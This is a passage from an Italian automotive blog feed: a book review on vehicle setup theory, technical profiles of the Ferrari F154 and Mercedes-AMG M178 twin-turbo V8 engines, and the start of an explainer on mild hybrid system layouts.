<p><img decoding="async" class="aligncenter size-large wp-image-94148" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Copertina-Alfa-Romeo-stampa-ridotta2-1024x904.jpg" alt="Copertina Alfa Romeo stampa ridotta2" width="1024" height="904" title="Libri: “Teoria dell’assetto di un veicolo” dell’Ing Massimiliano Cerquetani 579" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Copertina-Alfa-Romeo-stampa-ridotta2-1024x904.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Copertina-Alfa-Romeo-stampa-ridotta2-768x678.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Copertina-Alfa-Romeo-stampa-ridotta2-300x265.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Copertina-Alfa-Romeo-stampa-ridotta2-696x615.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Copertina-Alfa-Romeo-stampa-ridotta2.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Il motivo è semplice. I libri che parlano di tecnica motoristica non mancano. Ma il tema dell’assetto è sempre piuttosto trascurato. Un argomento difficile da trattare, complesso nelle sue dinamiche da portare all&#8217;attenzione del grande pubblico.</p>
<p style="text-align: justify;">Il testo dell’Ing Cerquetani tratta argomenti riguardanti la <strong>dinamica del veicolo</strong> e le <strong>regolazioni sull’assetto affrontando</strong> anche tematiche come, l’aerodinamica, i sistemi di controllo elettronico, la tecnica di guida.</p>
<p style="text-align: justify;">Un libro scritto con passione, adatto al neofita come all&#8217;esperto. Un modo efficacie di comprendere il funzionamento di  sottosistemi che influenzano il comportamento dinamico. All&#8217;interno del testo vengono descritte la composizione e geometrie di sospensioni, organi di sterzo, freni e struttura degli pneumatici.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter size-full wp-image-94149" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/104161403_276484410205795_970458440595341182_n.jpg" alt="104161403 276484410205795 970458440595341182 n" width="960" height="467" title="Libri: “Teoria dell’assetto di un veicolo” dell’Ing Massimiliano Cerquetani 580" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/104161403_276484410205795_970458440595341182_n.jpg 960w, https://www.giornalemotori.com/wp-content/uploads/2020/06/104161403_276484410205795_970458440595341182_n-768x374.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/06/104161403_276484410205795_970458440595341182_n-300x146.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/06/104161403_276484410205795_970458440595341182_n-696x339.jpg 696w" sizes="(max-width: 960px) 100vw, 960px" /><br />
Il testo è scritto utilizzando un <strong>linguaggio semplice e scorrevole</strong> concepito in modo trasversale da essere fruibile da chi non ha sviluppato studi specifici. Un modo inedito ed efficace di portare al lettore temi che possono apparire ostici. Soprattutto l&#8217;utilizzo di<strong> trecento tra immagini e grafici</strong> rendono la trattazione più chiara e completa.</p>
<p style="text-align: justify;">All’interno <strong>una bibliografia completa, con articoli a corredo presi dalle</strong> <strong>pubblicazioni sulla dinamica del veicolo redatti dai migliori tecnici della divulgazione automotive</strong> rendendo funzionale la consultazione su un argomento difficile come l’assetto.</p>
<p style="text-align: justify;">In definitiva un libro che mostra una visione completa su un argomento che sempre di più ha fatto breccia negli appassionati. &#8220;<strong>Teoria dell’Assetto di un veicolo&#8221;</strong> è un testo che merita, anzi deve stare nella biblioteca di ogni appassionato di automobili.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
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		<title>Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti!</title>
		<link>https://www.giornalemotori.com/2020/05/23/best-engine-ferrari-f154cb-v8-twin-turbo-il-migliore-di-tutti/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-ferrari-f154cb-v8-twin-turbo-il-migliore-di-tutti</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 23 May 2020 15:31:05 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il propulsore Ferrari V8 Twin Turbo F154CB è universalmente riconosciuto come il migliore motore del mondo in senso assoluto. Nonostante abbiamo decantato in modo favorevole le caratteristiche del suo rivale Mercedes-AMG M178, quest’ultimo rimane valido e concorrenziale fino alla potenza di 600cv. Dopo questa soglia non ce n’è per nessuno esiste il Ferrari F154 CB! [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Il propulsore <strong>Ferrari V8 Twin Turbo F154CB</strong> è universalmente riconosciuto come il migliore motore del mondo in senso assoluto.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93645" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/2e1b26b1f20785b049daa0c1da00a418.jpg" alt="2e1b26b1f20785b049daa0c1da00a418" width="640" height="384" title="Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti! 588" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/2e1b26b1f20785b049daa0c1da00a418.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/05/2e1b26b1f20785b049daa0c1da00a418-300x180.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">Nonostante abbiamo decantato in modo favorevole le caratteristiche del suo rivale Mercedes-AMG M178, quest’ultimo rimane valido e concorrenziale fino alla potenza di 600cv. Dopo questa soglia non ce n’è per nessuno esiste il Ferrari F154 CB!</p>
<p style="text-align: justify;">Il motore Ferrari ha varie versioni e varianti. Parte da una base comune. Il monoblocco è in alluminio con angolo tra le bancate di 90 gradi. La distribuzione quattro valvole per cilindro con variatore di fase. Il rapporto di compressione è di 9.4:1,  tipico per un motore turbo. Il comando della distribuzione, a catena, si trova lato volano.</p>
<p style="text-align: justify;">La posizione dei due turbocompressori è una delle caratteristiche che lo rendono unico nel suo genere. I tecnici di Maranello hanno creato un collettore di scarico che rappresenta una vera opera d’arte di ingegneria meccanica artigianale.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93646" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/B_c199cfb55312f661fa174cb7db41d724.jpg" alt="B c199cfb55312f661fa174cb7db41d724" width="1000" height="819" title="Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti! 589" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/B_c199cfb55312f661fa174cb7db41d724.jpg 1000w, https://www.giornalemotori.com/wp-content/uploads/2020/05/B_c199cfb55312f661fa174cb7db41d724-768x629.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/B_c199cfb55312f661fa174cb7db41d724-300x246.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/B_c199cfb55312f661fa174cb7db41d724-696x570.jpg 696w" sizes="(max-width: 1000px) 100vw, 1000px" /></p>
<p style="text-align: justify;">Ogni condotto, per ogni singolo cilindro, è ricavato in modo artigianale per essere tutti della medesima lunghezza. Poi,  i quattro collettori singoli convogliano in un ulteriore condotto fino alla turbina Twin Scroll. La particolarità sta nella posizione, rialzata del turbo, all’altezza del coperchio punterie.</p>
<p style="text-align: justify;">Una soluzione complessa,  frutto dell&#8217;esigenza di avere un’alimentazione del turbo da parte dei gas di scarico con la giusta velocità e la corretta energia per ridurre al massimo il ritardo. I due turbo sono prodotti dalla giapponese IHI, come sempre da 40 anni a questa parte.</p>
<p style="text-align: justify;">Da sempre, per le vetture stradali di Maranello, il motore è la base per una serie di varianti che vanno ad equipaggiare vetture dal carattere anche molto diverso tra loro, basti pensare al  V12 cilindri F133.<img decoding="async" class="aligncenter size-large wp-image-93647" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-inconel-exhaust-manifold-1024x640.jpg" alt="Ferrari 488 Pista 2018 engine F154CD v8 720cv part inconel exhaust manifold" width="1024" height="640" title="Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti! 590" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-inconel-exhaust-manifold-1024x640.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-inconel-exhaust-manifold-768x480.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-inconel-exhaust-manifold-300x188.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-inconel-exhaust-manifold-696x435.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-inconel-exhaust-manifold.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;"> L&#8217;F154 in tutte le sue varianti non è da meno, compreso l&#8217;utilizzo da parte di Maserati ed Alfa Romeo. Nel caso delle vetture del tridente, la sigla completa diventa F154AM e F154AQ.  La cilindrata è di 3.797cc, con alesaggio e corsa di 86.5 x 80.8mm, quindi Superquadro a corsa corta.</p>
<p style="text-align: justify;">Una caratteristica, questa, comune a tutte le varianti. Il valore del rapporto Alesaggio/Corsa, infatti, fa chiaramente capire come sia un motore nato per girare ad alti regimi. La potenza parte da 530cv con 650Nm di coppia (AM) e raggiunge i 580cv  e 730Nm di coppia (AQ)</p>
<p style="text-align: justify;">Essendo destinato alla Maserati Quattroporte GTS e Levante GTS/Trofeo, deve avere un compromesso tra prestazioni, eleganza e comfort. Il regime di potenza massimo, quindi, si ferma quota 6800 giri/minuto. Sintomo di una curva di coppia volutamente più fluida e lineare. Ma soprattutto indica come l&#8217;F154 sia un motore estremamente versatile!</p>
<p><img decoding="async" class="aligncenter size-large wp-image-93648" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-intake-plenum-1024x640.jpg" alt="Ferrari 488 Pista 2018 engine F154CD v8 720cv part intake plenum" width="1024" height="640" title="Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti! 591" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-intake-plenum-1024x640.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-intake-plenum-768x480.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-intake-plenum-300x188.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-intake-plenum-696x435.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Ferrari-488-Pista-2018-engine-F154CD-v8-720cv-part-intake-plenum.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">La differenza sostanziale tra il propulsore che porta la sigla “A” montata su Maserati, e quello con le specifiche &#8220;B&#8221; e &#8220;C&#8221; montato su Ferrari, sta nell&#8217;adozione della soluzione ad albero piatto per il secondo. Una scelta, quella di avere manovelle disposte a 180°,  finalizzata per far girare il motore a regimi molto alti smorzando le vibrazioni tipicamente derivata dalle corse.</p>
<p style="text-align: justify;"><strong>Il Ferrari F154 CB, infatti, raggiunge e supera quota 8000 Giri/minuto senza affanni.</strong> La differenza di sound è lampante rispetto configurazione a croce con bielle sfalsate di 90°.  La Musica arriva da strumenti, come bielle e pistoni e solo migliorata dallo scarico!</p>
<p style="text-align: justify;">Montato su modelli Ferrari a motore anteriore centrale, assume le sigle F154BD ( California, GTC4 Lusso T) e F154BE ( Portofino).  La cilindrata sale a 3,855cc con la corsa portata a 82.0mm.  La potenza parte da 560cv e 755 Nm di coppia per evolversi con l&#8217;F154BE a 600cv e 760Nm di coppia.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-93649" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/2-1024x575.jpg" alt="2" width="1024" height="575" title="Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti! 592" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/2-1024x575.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/2-768x431.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/2-300x168.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/2-696x391.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/05/2.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Per le berlinette Ferrari a motore centrale,  la denominazione diventa F154CB (488 GTB), F154CD (488 Pista) e F154CE ( F8 Tributo). La cilindrata sale ancora a 3,902cc e anche la corsa che arriva a 83mm. La potenza parte da 670cv e 760Nm di coppia (CB) e sale a 720cv per 770Nm (CD/CE). In quest&#8217;ultimo caso cambiano componenti come i supporti di banco, bronzine ed altri per sopportare un maggiore stress ad alte prestazioni. In tutti i casi, la coppia raggiunge il suo picco massimo a 3000/3250 giri/minuto.</p>
<p style="text-align: justify;">Infine, il Ferrari F154 ha dimostrato, nonostante sia un motore Twin Turbo,  di adattarsi perfettamente alla propulsione ibrida. Sulla potente SF90 Stradale, i 780cv del motore endotermico, possono lavorare in parallelo con i 220cv della propulsione elettrica toccando quota 1000cv e 800Nm di coppia. Un risultato eccellente,  abbassando in proporzione il valore dei consumi. La cilindrata compie il suo ultimo salto arrivando a 3.990cc, ma in questo caso a crescere è l&#8217;alesaggio diventando di 88 mm, per un leggero incremento anche della coppia.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-93651" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/ferrari-sf90-stradale-plug-in-hybrid-2019-11-1024x576.jpg" alt="ferrari sf90 stradale plug in hybrid 2019 11" width="1024" height="576" title="Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti! 593" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/ferrari-sf90-stradale-plug-in-hybrid-2019-11-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/ferrari-sf90-stradale-plug-in-hybrid-2019-11-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/ferrari-sf90-stradale-plug-in-hybrid-2019-11-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/ferrari-sf90-stradale-plug-in-hybrid-2019-11-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/05/ferrari-sf90-stradale-plug-in-hybrid-2019-11.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">La sua capacità di essere modulare ha portato l&#8217;F154 a diventare il V6 Twin Turbo con 510cv e 600Nm di coppia infilato nel cofano di Alfa Romeo Giulia e Stelvio Quadrifoglio. In sostanza,  a Maranello hanno progettato un&#8217;eccellente V8 aspirato, per poi aggiungere la sovralimentazione facendo convivere entrambe le tecnologie generando un propulsore pieno di coppia nella zona bassa ed intermedia dei giri, con un allungo spaventoso nella zona alta. Roba da far venire le vertigini pure agli allenati Turbo orientali!</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93652" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/B_i-segreti-del-v6-dell-alfa-romeo-giulia-quadrifoglio_1.jpg" alt="B i segreti del v6 dell alfa romeo giulia quadrifoglio 1" width="1000" height="947" title="Best Engine: Ferrari F154CB V8 Twin Turbo, il migliore di tutti! 594" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/B_i-segreti-del-v6-dell-alfa-romeo-giulia-quadrifoglio_1.jpg 1000w, https://www.giornalemotori.com/wp-content/uploads/2020/05/B_i-segreti-del-v6-dell-alfa-romeo-giulia-quadrifoglio_1-768x727.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/B_i-segreti-del-v6-dell-alfa-romeo-giulia-quadrifoglio_1-300x284.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/B_i-segreti-del-v6-dell-alfa-romeo-giulia-quadrifoglio_1-696x659.jpg 696w" sizes="(max-width: 1000px) 100vw, 1000px" /></p>
<p style="text-align: justify;">In particolare,  si può affermare,  senza temere smentita che l&#8217;<strong>F154 CB, </strong> ad oggi rappresenta,  il motore endotermico definitivo. Il progetto con cui tutti gli ingegneri del mondo devono fare i conti. Un punto di riferimento per la meccanica endotermica. In un periodo di grande crisi per il motore benzina,  e di cambiamento,  potremmo aver visto il canto del cigno, il punto più alto toccato da un motore benzina nella sua storia.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 16 May 2020 11:01:24 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il motore M178 V8 Twin Turbo di Mercedes-Amg si candida ad essere uno dei migliori propulsori della sua categoria, e ha tutte i numeri per essere best engine. Fratello della serie M176-M177, si evolve passando per le sapiente mani della factory AMG. La stessa che sviluppa le power unit vincenti da sei anni in Formula [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Il motore M178 V8 Twin Turbo di Mercedes-Amg si candida ad essere uno dei migliori propulsori della sua categoria, e ha tutte i numeri per essere best engine.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter size-large wp-image-93516" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Mercedes-AMG-GT-V8-engine-technical-data-1024x570.jpg" alt="Mercedes AMG GT V8 engine technical data" width="1024" height="570" title="Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo 602" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Mercedes-AMG-GT-V8-engine-technical-data-1024x570.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Mercedes-AMG-GT-V8-engine-technical-data-768x427.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Mercedes-AMG-GT-V8-engine-technical-data-300x167.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Mercedes-AMG-GT-V8-engine-technical-data-696x387.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Mercedes-AMG-GT-V8-engine-technical-data.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Fratello della serie M176-M177, si evolve passando per le sapiente mani della factory AMG. La stessa che sviluppa le power unit vincenti da sei anni in Formula 1 per il team Mercedes. I tecnici del centro di sviluppo Mercedes hanno progettato un  motore che potesse essere lo stato dell’arte della meccanica sfruttando appieno le sinergie tecniche interne al gruppo.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-93523" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/506330-5x2-lg-1024x410.jpg" alt="506330 5x2 lg" width="1024" height="410" title="Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo 603"></p>
<p style="text-align: justify;">Il basamento, infatti,  viene prodotto dalla AMG sfruttando i processi di fusione di leghe di alluminio usate per i motori da competizione con monoblocco closed deck,  più rigido, piccolo e leggero per un peso complessivo del motore di soli 206kg.</p>
<p style="text-align: justify;">Lo sfruttamento delle sinergie interne passa invece per l&#8217;utilizzo di componenti derivati dal piccolo quattro cilindri 2.0 litri Turbo M133 come l&#8217;albero motore. I pistoni sono forgiati e le teste sono fatte di una speciale lega di Zirconio con camicie ricavate con processo di riporto di plasma.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93517" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/M178-8.jpg" alt="M178 8" width="960" height="621" title="Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo 604" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-8.jpg 960w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-8-768x497.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-8-300x194.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-8-696x450.jpg 696w" sizes="(max-width: 960px) 100vw, 960px" /></p>
<p style="text-align: justify;">Nel dettaglio è un V8 con angolo tra le bancate di 90° . Quattro valvole per cilindro con doppio albero a camme in testa e fasatura variabile per aspirazione e di scarico. Il controllo dell’alzata delle valvole di scarico è molto importante per determinare la velocità e l&#8217;energia dei gas che giungono al sistema turbo.</p>
<p>La cilindrata è di 3.982cc con alesaggio da 83mm e corsa da 92mm. Il rapporto alesaggio/corsa 0.90,  quindi “sottoquadro” o a corsa lunga con un interasse tra i cilindri di 90mm per un rapporto di compressione di 10.5:1. Molto alto per un motore turbo.</p>
<p style="text-align: justify;">L&#8217;M178 ha vari livelli di potenza. Si parte da  503cv a 6250 giri/min e 650Nm disponibili da 1750giri/min rimanendo costante fino ai 4750giri/minuto.  Successivamente il propulsore si è ulteriormente evoluto con potenza da 510cv  per la ragguardevole potenza di 128cv/litro.</p>
<p><img decoding="async" class="size-full wp-image-93518" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/7536676.jpg" alt="7536676" width="700" height="495" title="Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo 605" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/7536676.jpg 700w, https://www.giornalemotori.com/wp-content/uploads/2020/05/7536676-300x212.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/7536676-696x492.jpg 696w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<p style="text-align: justify;">La crescita continua passando a 522cv e 670Nm di coppia  a 1800 giri/minuto fino a 5000 giri/minuto, per salire a 557cv e 680Nm da 1900Nm a 5500giri/minuto, per finire con l&#8217;ultimo step a 585cv. Nonostante la curva di potenza tenda ad affievolirsi a  6250 giri/minuto, il limitatore è posto a quota 7200 giri/minuto. Un regime insolito per i motori turbo europei</p>
<p style="text-align: justify;">In pratica,  questo propulsore garantisce un&#8217;eccellente elasticità potendo disporre di notevole valore di potenza e coppia su un&#8217;ampio arco di giri. Nelle versioni più potenti, il regime di raggiungimento del picco di coppia i alza di 150 giri/minuto. Nonostante ciò, il ritardo del turbo resta quasi inesistente con una spinta poderosa e costante facilmente gestibile.</p>
<p style="text-align: justify;">Molto particolare,  la scelta di collocare il comparto Twin Turbo progettato con Borgwarner al centro delle bancate. La pressione di sovralimentazione è di 1.2bar a 186.000 giri/minuto con valvola Wastegate gestita elettronicamente.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93519" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/M178-2.jpg" alt="M178 2" width="960" height="636" title="Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo 606" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-2.jpg 960w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-2-768x509.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-2-300x199.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-2-696x461.jpg 696w" sizes="(max-width: 960px) 100vw, 960px" /></p>
<p style="text-align: justify;">Posizionare il comparto Twin Turbo al centro delle bancate è molto utile per il controllo della velocità e l’energia che i gas di scarico.  Nei moderni motori Turbo, infatti, è fondamentale controllare la corretta quantità e volume d&#8217;aria per avere una combustione sempre ottimizzata. Il raffreddamento è affidato ad un intercooler di tipo aria/aqua, con temperatura di lavoro a 140°.</p>
<p style="text-align: justify;">L&#8217;iniezione diretta lavora a 200 Psi con gli iniettori concepiti per lavorare fino a cinque micro iniezioni a seconda delle necessità. Questo V8 4.0 litri è uno dei propulsori più compatti e leggeri della sua categoria e adotta la lubrificazione a carter secco per abbassare il baricentro 5,5 cm. La sua compattezza rappresenta un netto aiuto per il controllo dei pesi delle vetture che lo montano parlando a pieno titolo di motore anteriore centrale.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-93520" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/14C609_046-FILEminimizer-1024x683.jpg" alt="14C609 046 FILEminimizer" width="1024" height="683" title="Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo 607"></p>
<p style="text-align: justify;">Nella sua versione da 503cv, questo propulsore, fa registrare, secondo il ciclo di omologazione NEDC, un valore di 10Litri/100km. Risultato che può essere ulteriormente migliorato adottando la tecnologia Mild Hybrid 48v già abbinata ai fratellini M176 e M177.</p>
<p style="text-align: justify;">L&#8217;M178 è installato sulla Mercedes-AMG GT. Le versioni più potenti sono da 510cv per la GT-S, 550cv per la GT-C e 585cv per la velocissima GT-R. La berlinetta GT tedesca, infatti, è una delle poche vetture a motore anteriore centrale a rivaleggiare ad armi quasi pari con le concorrenti a motore posteriore centrale.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93521" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/M178-6.jpg" alt="M178 6" width="960" height="617" title="Best Engine: Mercedes-Amg M178 V8 4.0 Litri Twin Turbo 608" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-6.jpg 960w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-6-768x494.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-6-300x193.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/M178-6-696x447.jpg 696w" sizes="(max-width: 960px) 100vw, 960px" /></p>
<p style="text-align: justify;">Da sottolineare,  invece,  come Aston Martin per la sua DB11, monta il propulsore M177. Si differenza sostanzialmente nell’uso di lubrificazione tradizionale ed una diverso sviluppo del sistema Turbo. Una differenza sostanziale che va ad influenzare in modo consistente le prestazioni rispetto alla Mercedes-AMG GT, concorrente nel medesimo segmento di mercato.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 08 May 2020 08:00:15 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Dopo aver parlato dei principi di funzionamento dei sistemi Mild Hybrid.  In questa trattazione descriveremo il layout  MiHEV Liv1-2 e 3.  Le diversità dipendono dal posizionamento delle componenti.  Trattandosi di una propulsione ibrida la parte più importante è la macchina elettrica ed il suo collegamento alla parte meccanica. Questo può avvenire attraverso un comando a [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Dopo aver parlato dei principi di funzionamento dei sistemi <strong>Mild Hybrid</strong>.  In questa trattazione descriveremo il <strong>layout  MiHEV Liv1-2 e 3. </strong></p>
<p><img decoding="async" class="aligncenter size-full wp-image-93337" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/22_SWIFT_SHVS-mild-hybrid-1024x645-1.jpg" alt="22 SWIFT SHVS mild hybrid 1024x645 1" width="1024" height="645" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 611" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/22_SWIFT_SHVS-mild-hybrid-1024x645-1.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/22_SWIFT_SHVS-mild-hybrid-1024x645-1-768x484.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/22_SWIFT_SHVS-mild-hybrid-1024x645-1-300x189.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/22_SWIFT_SHVS-mild-hybrid-1024x645-1-696x438.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Le diversità dipendono dal posizionamento delle componenti.  Trattandosi di una propulsione ibrida la parte più importante è la macchina elettrica ed il suo collegamento alla parte meccanica. Questo può avvenire attraverso un comando a cinghia o direttamente in modo meccanico.</p>
<p style="text-align: justify;">La tecnologia <strong>Mild Hybrid MiHEV-Liv1</strong> è si avvale di una generatore <strong>starter (BiSG)</strong> da 12V, (<a href="https://www.giornalemotori.com/2020/03/11/test-drive-suzuki-ignis-1-2-litri-mild-hybrid-top-brillante-e-versatile-bassi-consumi/">Suzuki</a>), 24V, (<a href="https://www.giornalemotori.com/2020/03/26/test-drive-mazda-3-skyactiv-x-mild-hybrid-180cv-executive-tecnologica-bella-da-guidare/">Mazda</a>) e 48v collegato al motore endotermico da una cinghia di trasmissione con raffreddamento integrato sia ad aria che a liquido.  Questa soluzione è adattabile in modo semplice ed economico ad ogni tipo di veicolo. Il motore elettrico dispone dai 5cv ai 12cv di potenza aggiuntiva a seconda del tipo di motore elettrico.</p>
<p style="text-align: justify;">Il comando a cinghia per sua stessa natura ha delle perdite di rendimento ed influiscono sul rendimento complessivo. Facendo un rapporto costi/benefici il rendimento che non va oltre l’85%, per una riduzione dei consumi dal 7 al 9% secondo il ciclo di omlogazione WLTP.</p>
